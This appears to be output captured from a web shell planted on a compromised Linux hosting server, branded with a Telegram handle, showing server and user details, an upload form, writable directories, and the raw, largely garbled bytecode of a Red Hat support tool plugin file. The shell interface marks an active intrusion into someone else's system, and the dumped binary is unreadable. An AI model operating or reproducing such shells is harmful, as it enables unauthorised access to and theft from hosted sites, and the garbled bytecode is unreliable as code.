https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyc
�
��Tc@s�ddlmZmZddlmZmZddlmZddlmZddl	m
Z
ddljj
Z
ddljjZddljjZddlZdZdZejd	�Zd
e
fd��YZdS(i����(tOptiont
SUPPRESS_HELP(tRequestErrortConnectionError(tEmptyValueError(t_(tPluginNs%Keith Robertson <kroberts@redhat.com>s&Spenser Shumaker <sshumake@redhat.com>s'redhat_support_tool.plugins.add_commentt
AddCommentcBs�eZdZdZed��Zed��Zed��Zed��Z	d�Z
d�Zd�Zd�Z
d	�Zd
�ZRS(t
addcommentcCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s'%prog -c CASENUMBER <comment text here>(R(tcls((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt	get_usage's	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s0Use the '%s' command to add a comment to a case.(Rtplugin_name(R	((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pytget_desc2s		cCstd�|j|jfS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        sjExamples:
- %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed
- %s -c 12345678 (RR(R	((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt
get_epilog>sc
Csst}tj�jdd�r-td�}ntdddddtd	�d
t�tdddd
d|d
t�gS(sO
        Subclasses that need command line options should override this method
        and return an array of optparse.Option(s) to be used by the
        OptionParser.

        Example:
         return [Option("-f", "--file", action="store",
                        dest="filename", help='Some file'),
                 Option("-c", "--case",
                        action="store", dest="casenumber",
                        help='A case')]

         Would produce the following:
         Command (? for help): help mycommand

         Usage: mycommand [options]

         Use the 'mycommand' command to find a knowledge base solution by ID
         Options:
           -h, --help  show this help message and exit
           -f, --file  Some file
           -c, --case  A case
         Example:
          - mycommand -c 12345 -f abc.txt

        toptiontponiess>Use this to toggle a public or private comment (default=True).s-cs--casenumbertdestt
casenumberthelpsBThe case number from which the comment should be added. (required)tdefaults-ps--publictpublic(Rtconfighelpertget_config_helpertgetRRtFalsetTrue(R	tpublic_opt_help((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pytget_optionsMscCs
||_dS(N(t_args(tselft
stored_obj((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt
insert_objtscCs�td�|j}|jds�tj�r�ttd��}t|�j�}|dkrht��nt|�j�r�||jd<q�|GHt|��q�|GHt|��ndS(Ns!ERROR: %s requires a case number.Rs.Please provide a case number(or 'q' to exit): tq(	RRt_optionstcommontis_interactivet	raw_inputtstrtstript	Exception(Rtmsgtline((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt_check_case_numberws	

cCs=td�|j}|jr}y5djg|jD]}t|d�^q/�|_Wq9tk
rydj|j�|_q9Xn�tj�r(g}y,td�GHxt	r�|j
t��q�WWq9tk
r$t
dj|��j�|_|jdkr|GHt|��n|jjd�|_q9Xn|GHt|��dS(Ns/ERROR: %s requires a some text for the comment.u tutf8s5Type your comment. Ctrl-d on an empty line to submit:s
tsutf-8(RRRtjointunicodetcommentt	TypeErrorR"R#RtappendR$tEOFErrorR%R&R'tdecode(RR(tiR/((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt_check_comment�s,	
		,
	
cCs�tj�r�tj�jdd�r�|jddkr�ttd��}t	|�j
�j�dkrwt|jd<q�t
|jd<q�ndS(NRRRs Is this a public comment (y/n)? tn(R"R#RRRR!tNoneR$RR%R&tlowerRR(RR)((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt_check_is_public�scCs"|j�|j�|j�dS(N(R*R5R9(R((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt
validate_args�s

cCs�d}y�tj�}|js5td�GHt��n|jjd|jdd|jdd|j�}|j	j
|�}|dkr�td�|jdGHt��nWn�tk
r�}td�t|�}|GHt
jtj|��n�tk
r.}td�|j}|GHt
jtj|��notk
retd	�}|GHt
jtj|��n8tk
r�td
�}|GHt
jtj|��nXdS(Ns"ERROR: The comment has no content.t
caseNumberRRttexts4ERROR: There was a problem adding your comment to %ss	ERROR: %ss5Unable to connect to support services API. Reason: %ssZProblem connecting to the support services API.  Is the service accessible from this host?sUnable to add comment(R7t	apihelpertget_apiR/RR'timtmakeCommentR!tcommentstaddRR%tloggertlogtloggingtWARNINGRtreasonR(RtapitcomtretValteveR(tre((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pytnon_interactive_action�sF	
	
	


N(t__name__t
__module__RR7R/tclassmethodR
RR
RRR*R5R9R:RM(((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyR#s'				
	(toptparseRRt(redhat_support_lib.infrastructure.errorsRRt(redhat_support_tool.helpers.confighelperRRtredhat_support_tool.pluginsRt%redhat_support_tool.helpers.apihelperthelpersR=t"redhat_support_tool.helpers.commonR"RREt
__author__t	getLoggerRCR(((sK/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_comment.pyt<module>s

https://t.me/AnonymousX5 - 2025